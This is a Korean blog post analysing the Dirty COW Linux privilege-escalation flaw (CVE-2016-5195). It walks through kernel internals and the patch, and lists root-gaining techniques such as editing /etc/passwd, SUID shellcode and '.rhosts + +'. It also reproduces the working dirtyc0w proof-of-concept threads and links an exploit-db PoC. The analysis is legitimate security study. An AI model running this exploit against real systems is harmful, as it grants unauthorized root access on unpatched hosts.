ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Dirty Cow
    Analysis 2022. 7. 11. 02:16

    Dirty Cow 취약점 개념

    Dirty Cow 취약점이란?

    Dirty Cow = Dirty (페이지가 변조되었음을 의미) + CoW (Copy-on-Write)

    권한상승 취약점 중 하나로, 읽기 전용 공간 메모리 공간에 대해 쓰기 권한을 얻어 권한상승을 할 수 있게 된다. 리눅스 커널의 메모리 subsystem이 읽기 전용 메모리 공간의 copy-on-write(COW) 과정에서 race condition이 발견되었다.

    해당 취약점은 Linux Kernel 2.6.22 ~ 3.9 버전에서 취약하며, 현재는 패치되었다. 2007년부터 2016년까지 커널에 존재했던 취약점으로, 크리티컬 하지만 굉장히 오랫동안 패치되지 않았던 취약점임을 알 수 있다. 지금으로선 발견된지 오래된 취약점이여서 그런지 poc 코드가 다양하다.

     

    Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel - My QtoA

     

    ud64.com

     

    키워드 정리

    위에서 race condition, copy-on-write 등의 단어가 나왔는데 dirty cow 취약점을 이해하려면 이런 키워드 먼저 알아야 한다.

    [ race condition ]

    race condition은 둘 이상의 입력 또는 조작의 타이밍이나 순서 등이 결과값에 영향을 줄 수 있는 상태를 말한다.

    내 통장에는 500원이 있는데, A가 나에게 1000원을 주고(receive 함수), 내가 B에게 300원을 줘야 한다(send 함수)고 가정하자. 그럼 receive 함수에선 내 잔고를 확인하고 +1000원을 해줄 것이고, send 함수에선 내 잔고를 확인하고 -300원을 해줄 것이다. 근데 receive 함수에서 내 잔고를 확인하고 +1000원을 하기 전 그 사이에 send 함수가 실행된다면??

    이처럼 둘 이상의 조작이 순서에 따라 결과값에 영향을 준다면 race condition이 발생한다고 한다.

    [ copy on write]

    copy-on-write는 공유 리소스를 수정할 때 원본을 수정하는 게 아니라 리소스의 복사본을 만들게끔 하는 기법을 말한다. 아래의 그림을 참고하면 이해가 쉬울 것이다.

    만약에 pi = 3.14 라는 변수를 A 프로세스와 B 프로세스가 같이 사용하고 있다고 가정하자. 근데 A에서 좀더 정교한 값이 필요하다면서 pi를 3.141592 로 바꿨다면?? B 프로세스에선 오류가 날 수도 있을 것이다. 이처럼 공유 리소스는 함부로 고쳐선 안되며, 이를 관리하기 위한 방법이 필요한데 그 중 하나가 copy-on-write 이다.

    [ procfs ]

    dirty cow 취약점은 권한 상승 취약점 중 커널 취약점에 해당한다. 커널이란 리눅스의 주요 구성 요소로서, 간단하게 말하면 컴퓨터 하드웨어와 프로세스를 잇는 핵심 인터페이스이다. 우리는 메모리에 값을 쓰기 위해서 직접 메모리에 접근할 수 없다. 대신 논리적인 공간을 만들어 메모리와 매핑을 하게 되는데 이 때 이 둘 사이를 연결해주는게 커널이라고 보면 된다. CPU는 task로, 메모리는 page나 segment로, 디스크는 file로, 네트워크 장치는 socket으로 등등 커널은 물리적인 자원을 추상적인 개념으로 대응시켜 사용자가 원하는 작업을 해준다.

    이들 중 /proc/PID/map은 해당 프로세스의 메모리 레이아웃을 보여준다. 일단 이렇게만 이해하고 넘어가자.

     

    어떻게 쓰기권한으로 권한상승을 할 수 있는가?

    dirty cow 취약점의 원리를 설명하기 전에 앞서서 읽기 전용 공간 메모리에 쓰기 권한을 얻어 권한상승을 한다고 했는데 쓰는 과정으로 어떻게 root 권한을 획득할 수 있을까??

    1) 여러가지 방법이 있겠지만 가장 쉬운 방법은 /etc/passwd에 root권한을 가진 계정을 추가하는 것이다. /etc/passwd 파일에는 시스템에 등록된 사용자들의 정보가 담겨있다. 

    파일의 첫줄을 보면 root:x:0:0:root:/root:/usr/bin/zsh 라고 써져있다. 앞에서부터 차례대로 사용자 계정명, 패스워드, UID, GID, comment, 홈 디렉토리, 로그인 쉘이다. 패스워드는 /etc/shadow 파일에서 따로 관리하고 있어 x 로 표시된다. 여기에 루트 권한을 가진 계정을 임의로 추가한다면?? 쉽게 루트권한을 획득 할 수 있을 것이다.

     

    2) 두번째 방법으로는, SUID 파일에 쉘코드를 주입시키는 방법이 있다. SUID 파일이란 파일을 실행시켰을 때 실행시킨 사용자와 무관하게 파일의 소유자 권한으로 자원에 접근할 수 있는 파일을 말한다. 즉, SUID 파일 중 루트가 사용자인 파일이 있다면 거기에 쉘코드를 주입시켜 권한을 상승할 수 있다!

    find 명령어를 통해 SUID 파일은 쉽게 찾을 수 있으며 이 중 root 권한 소유의 파일이면서 실행 가능한 파일에 쉘코드를 write한 뒤 실행시키면 끝-

     

    3) 세번째 방법으로는 .rhosts 파일에 접근하는 방법이 있다. .rhosts 파일에서는 +를 써줌으로써 지정된 사용자에게 암호 없이 지정 호스트에서 원격으로 로그인할 수 있는 권한을 부여할 수 있다. "+ +" 를 쓰면 모든 사용자가 시스템 관리자에게 알리지 않고 원하는 모든 사용자에게 액세스 권한을 부여할 수 있게 된다. 이를 이용하면 쉽게 권한상승을 할 수 있다!

     

    그 외에도 다양한 방법이 있을 것이다. 더 나아가 리눅스 뿐만 아니라 이 취약점을 이용하면 안드로이드 보안까지 영향을 끼칠 수 있는 것으로 발표됐다. 얘는 잘 몰라서 링크를 남길게여..

     

    [번역글] Dirtycow 취약점을 이용한 Docker Escape

    원문 : Dirty COW – (CVE-2016-5195) – Docker Container Escape 중국어 번역글 : 【技术分享】利用Dirty Cow实现docker逃逸(附演示视频) 머릿말 Dirty Cow 취약점은 리눅스 커널에서 Copy-on-Write을 할 때 존재하는

    bpsecblog.wordpress.com

     

     

    Dirty Cow 원리

    Dirty CoW 동작

    일단 어떤 동작을 하는지 부터 보자. 위에서 말한 방법 중 /etc/passwd 에 계정을 추가하는 방식을 사용할 것이다.

    - 타켓 : HackTheBox 플랫폼의 Valentine 머신

    - PoC코드 : https://www.exploit-db.com/exploits/40839

    위에 poc 코드를 다운받아서 컴파일 하고 실행만 시켜주면 된다. 그러고 cat /etc/passwd 으로 파일을 확인해보면 내가 지정한 amy 라는 계정이름으로 계정정보가 추가된 걸 볼 수 있다!!

    그림으로 보는 Dirty CoW

    Dirty Cow 원리는 아래의 사이트에서 굉장히 잘 나와있다.. 

     

    Dirty Cow Demo

     

    www.cs.toronto.edu

    ① 먼저 읽기 전용 파일을 가상공간 메모리에 매핑한다. 이 때 매핑은 MAP_PRIVATE 로 선언한다. MAP_PRIVATE 플래그로 세운다는건 데이터의 변경 내용을 공유하지 않는다는 뜻이며, 쓰기 동작을 할 경우 매핑된 메모리의 사본을 생성하고 매핑 주소는 사본을 가리키게 된다. 이 말인 즉슨 위에서 설명한 copy-on-write를 하겠다는 말이다. 매핑된 공간에 쓰기 요청을 한다면 커널은 알아서 원본 파일의 사본을 만들어 원본이 수정되지 않게한다.

    ② 앞서 매핑한 주소에 write 요청을 한다. 이때 중요한 건 매핑된 가상 주소에 직접 쓰지 않고, /proc/self/mem을 통해 쓰기 요청을 할 것이다. 그 이유는 좀있다 코드를 보면서 하기로 하고, /proc/self/mem은 내 프로세스의 메모리 영역이다. 내 프로세스의 메모리 영역이므로 가상 메모리 공간을 대변한다. 쉽게 생각해서 내 메모리이므로 내가 만든 매핑 주소에 접근할 수 있다고 생각하면 될거같다.

    ③ 우리는 읽기 전용 파일에 쓰기 요청을 했지만 커널은 MAP_PRIVATE 플래그가 세워진 공간임을 알고 사본을 만든다. 쓰기 요청을 수행할 공간을 찾은 것일뿐, 아직 쓰는 동작은 하지 않았다!!

    ④ 정상적인 요청이라면 만들어진 private copy에 요청된 것을 쓸것이다. 하지만 여기서 madvise를 통해 매핑을 해제한다.  정확히는 해제는 아닌데 일단 madvise 함수에 대해 설명을 하자면, madvise 함수는 커널에 메모리 처리에 대한 advise를 하는 것이다. 예를 들어 MADV_WILLNEED는 이 영역의 페이지는 곧 접근한다는 뜻인데, 이를 advise하면 커널이 미리읽기를 활성화하고 주어진 페이지를 메모리로 읽어 들인다. 이처럼 앞으로 할 동작에 대한 advise를 함으로써 커널이 미리미리 대비할 수 있도록 해주는 함수이다.

    여기서는 MADV_DONTNEED를 선언한다. 이 영역의 페이지는 당분간 접근하지 않는다는 뜻으로, 주어진 페이지와 관련된 자원을 해제하고 변경되었지만 아직 동기화되지 않은 페이지를 버린다. 즉, 앞서 만든 private copy 공간을 버리고, 이후 매핑된 데이터에 접근이 발생하면 원본 파일을 다시 불러오게 된다.

    ⑤ 이제 쓰면된다!

    /etc/passwd

    주저리 주저리 설명하느라 말이 길어졌는데 위에서 실습한 /etc/passwd 파일에 amy 계정을 추가하는 걸 간단하게 설명하자면,

    [ 정상적인 동작 ]

    /etc/passwd라는 읽기 전용 파일을 가상 메모리에 매핑시켜 쓰기 요청을 한다. 그럼 커널은 MAP_PRIVATE으로 선언된 공간임을 확인하고 /etc/passwd를 private copy 공간에 복사한다.

    그리고 거기에 쓰고자 하는 걸 쓰면된다! private copy는 /etc/passwd 내용을 갖다 쓴 것일 뿐, /etc/passwd 파일 자체는 아니므로 amy 계정이 만들어 진게 아니다.

    [ race condition 발생 ]

    마찬가지로 write 요청으로 /etc/passwd 파일의 사본은 만들었다고 가정하자.

    근데 이 write 하는 과정에서 madvise()로 MAV_DONTNEED를 advise 한다면?? 만들어진 공간(/etc/passwd의 복사본)에 더이상 접근할 수 없게 된다.

    커널은 이를 모르고 원본 파일에 amy 계정정보를 쓰게 될 것이다.

     

     

    code로 보는 Dirty CoW

    PoC 코드

    설명하려는 전체 코드는 아래의 사이트에서 참고하면 된다. 위의 실습에서 사용한 poc 코드는 아닌데, 얘가 이해하기 쉽다.

     

    GitHub - dirtycow/dirtycow.github.io: Dirty COW

    Dirty COW. Contribute to dirtycow/dirtycow.github.io development by creating an account on GitHub.

    github.com

    int main(int argc,char *argv[])
    {
        if (argc<3) {
            (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content");
            return 1;
        }
        pthread_t pth1,pth2;
    
        f=open(argv[1],O_RDONLY); // 읽기 권한만 있는 파일 열기
        fstat(f,&st);
        name=argv[1];
    
        map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); // 읽기 전용 파일을 가상 메모리에 매핑
        printf("mmap %zx\n\n",(uintptr_t) map);
    
        pthread_create(&pth1,NULL,madviseThread,argv[1]);
        pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
    
        pthread_join(pth1,NULL);
        pthread_join(pth2,NULL);
        return 0;
    }

    먼저 메인 함수를 보면 인자로 읽기 전용 파일을 받아 mmap() 함수를 통해 가상 메모리에 매핑한다. 그 후 2개의 쓰레드를 실행시키고 있는 걸 볼 수 있다. 먼저 madviseThread를 살펴보자

    void *madviseThread(void *arg)
    {
        char *str;
        str=(char*)arg;
        int i,c=0;
        for(i=0;i<100000000;i++)
        {
        	c+=madvise(map,100,MADV_DONTNEED);
        }
        printf("madvise %d\n\n",c);
    }

    madviseThread는 /etc/passwd 파일과 매핑한 가상 주소 공간을 잠시 쓰지 않겠다고 선언하는 걸 100000000번 반복하는 Thread이다.

    void *procselfmemThread(void *arg)
    {
        char *str;
        str=(char*)arg;
    
        int f=open("/proc/self/mem",O_RDWR);
        int i,c=0;
        for(i=0;i<100000000;i++) {
            lseek(f,(uintptr_t) map,SEEK_SET);
            c+=write(f,str,strlen(str));
        }
        printf("procselfmem %d\n\n", c);
    }

    두번째 procselfmemThread는 /etc/passwd에 쓰기 요청을 하는 Thread인데, 앞서 말했듯 map에 직접 쓰기 요청을 하는게 아니라 /proc/self/mem 파일을 열어 lseek()를 통해 map의 위치를 찾은뒤 그곳에 write 요청을 한다. 얘도 마찬가지로 100000000번 반복한다.

    => 이 두 Thread가 100000000번 반복하면서 write 요청을 하는 중간에 madvise함수가 실행되는 타이밍이 있을 것이다. 그 타이밍이 맞는 순간 /etc/passwd 파일에 원하는 계정정보를 쓸 수 있게 된다~

    커널의 어느 부분이 취약한 걸까?

    어떻게 이런 취약점이 발생하는지, write() 요청을 하는 부분을 자세히 코드로 봐보자.

    /proc/self/mem을 통해 write()를 하게 되면 물론 여러 함수들이 실행되겠지만 mem_write() 안에서 access__remote__vm() 안에서 __get_user_pages() 를 실행한다. __get_user_pages()는 주어진 가상 주소 범위를 찾아 커널영역에 고정시킨다. 그냥 write를 하기 위해 쓸 페이지를 찾는다고 생각하면 편하다. dirty cow와 관련된 코드만 뽑아서 보면 이렇다.

    __get_user_pages(){
        do {
            page = follow_page_mask(vma, start, foll_flags, &page_mask); 
            // -> read-only 파일에 write 요청을 하여 False return
            if (!page) {
                int ret;
                ret = faultin_page(tsk, vma, start, &foll_flags, nonblocking);
                ...
            }
            ...
        }
    }

    커널은 사용자가 요청한대로 무조건 수행하는 게 아니다. 정말 해당 요청을 수행하는 게 적절한지 등을 체크하는데, follow_page_mask 함수가 바로 그런 역할을 한다. foll_flags에 호출자가 왜 유저 메모리 페이지에 접근하는지, 어떤 방식으로 접근을 원하는지, 그리고 어떻게 가져 가려는지에 대한 정보를 인코딩해서 함수 인자로 전달해준다.

    그럼 해당 함수는 False를 return할 것이다. 왜냐하면 read-only 공간에 write 요청을 했기 때문이다. 그럼 if 문을 거쳐 falutin_page()를 실행하게 된다.

    faultin_page(){
    	...
        ret = handle_mm_fault(mm, vma, address, fault_flags);
        // -> 사본을 만들고 VM_FALUT_WRITE 플래그를 세움 (CoW 공간임을 알려주는 플래그)
        ...
        if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
        	*flags &= ~FOLL_WRITE;
            // -> CoW이니 write 권한은 체크할 필요가 없다고 판단하고 write 권한을 체크하는 플래그를 없앰
        return 0;
    }

    얘도 코드가 굉장히 길지만 중요한 부분만 보면 이렇다. 앞서 read_only 공간을 MAP_PRIVATE로 선언했었다. 그럼 읽기 전용 공간이지만 write 요청을 할 수 있다. 왜?? 원본을 수정하지 않으니까! 이런 경우의 수가 있기 때문에 커널은 바로 error를 띄우지 않고 이 falutin_page()로 에러를 처리할 수 있는지 확인한다.

    dirty cow의 경우 hadlde_mm_fault()를 통해 CoW 공간임을 확인하고 사본을 만든다. (내부가 복잡해서 이렇게만 쓸게여..) 그리고 VM_FAULT_WRITE라는 플래그를 세운다. 그럼 밑에있는 if 문을 통해 VM_WRITE는 아니지만 VM_FAULT_WRITE 임을 확인하고 flag에서 WRITE 권한을 체크하는 부분을 없앤다. 이걸 이렇게..? 싶긴 한데 CoW 공간임을 확인했으니 더이상 wirte 권한이 있는지 확인하지 말라는 뜻으로 보인다

    근데 이때 madvise 함수가 호출된다면?? 그래서 사본이 없어진다면??

    __get_user_pages(){
        do {
            page = follow_page_mask(vma, start, foll_flags, &page_mask); 
            // -> 매핑된 주소를 찾지 못하고 False return
            if (!page) {
                int ret;
                ret = faultin_page(tsk, vma, start, &foll_flags, nonblocking);
                ...
            }
            ...
        }
    }

    일단 falutin_page() 함수는 리턴됐으니 다시 __get_user_pages()를 보면 do-while문으로 에러로 판명나든, 에러가 아님이 판명나든, 유의미한 결과를 반환할 때 까지 무한 루프를 돈다. 그래서 다시 follow_page_mask()와 전달된 flag를 통해 해당 파일이 정상적인 요청을 했는지 확인한다. 이때도 역시 False가 난다. 왜?? write 권한을 체크하는 flag는 사라졌지만 madvise()를 통해 매핑이 잠시 사라졌기 때문에 수행할 파일 주소를 찾지 못하고 False를 return 한다. 그래서 다시 falutin_page()를 호출하게 된다.

    faultin_page(){
    	...
        ret = handle_mm_fault(mm, vma, address, fault_flags);
        // -> 원본 파일을 return
        ...
        if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
        	*flags &= ~FOLL_WRITE;
        return 0;
    }

    이번엔 handle_mm_fault 함수에서 CoW 페이지를 생성하는거 대신 원본 파일을 리턴한다. 왜?? 아까 MADV_DONTNEED를 선언한 후 다시 접근을 한다면 원본 파일을 불러온다고 했다. 그 원본파일과 flag를 가지고 정상적인 요청인지 체크를 하게 되는데 flag에는 write 권한을 체크하는 플래그가 빠졌으니 handle_mm_falut()는 정상 요청이라고 판단하여 원본 파일을 return 하게 되는 것이다.

    => 이렇게 원본 파일이 return 되고, 이 원본파일에 실제로 write()를 실행하게 된다~~

     

    패치

    코드 패치

    write 권한을 체크하는 플래그를 없애주는 대신 해당 요청은 CoW 영역임을 알려주는 플래그를 추가하는 것으로 바꼈다.

    직접 주소에 쓰기 요청을 하지 않고 /proc/self/mem를 통해 쓰기 요청을 하는 이유

    위에서 코드를 통해 dirty cow가 어느 함수에서 왜 발생하는지 알아봤는데, 이 취약점이 발생하는 이유는 ptrace나 /proc/{pid}/mem을 사용한 out-of-band 메모리에 액세스할 때 커널이 page falut를 처리하는 과정에서 발생한다. 

    만약 map이라는 변수(/etc/passwd가 매핑된 공간)에 직접 write 요청을 했다면, handle_mm_fault()를 실행할 틈도 없이 __do_page_falut()의 bad_area_access_error안에서 SIGSEGV를 뿌림으로써 segment error를 발생시킬 것이다.

    반면 위에서철머 /proc/self/mem을 거쳐 wrie 요청을 한다면, falutin_page()는 CoW 페이지를 생성하여 액세스 위반된 페이지를 처리해준다. 

     


    사실 직접 디버깅을 하면서 했어야 했는데 그냥 분석된 글을 읽은 기분.. 이랬는데도 이해하는데 2주 넘게 걸렸다니.. 다음엔 직접 분석해보는 쪽으로..!!

    'Analysis' 카테고리의 다른 글

    JWT Signature last character  (0) 2024.06.24

    댓글

Designed by Tistory.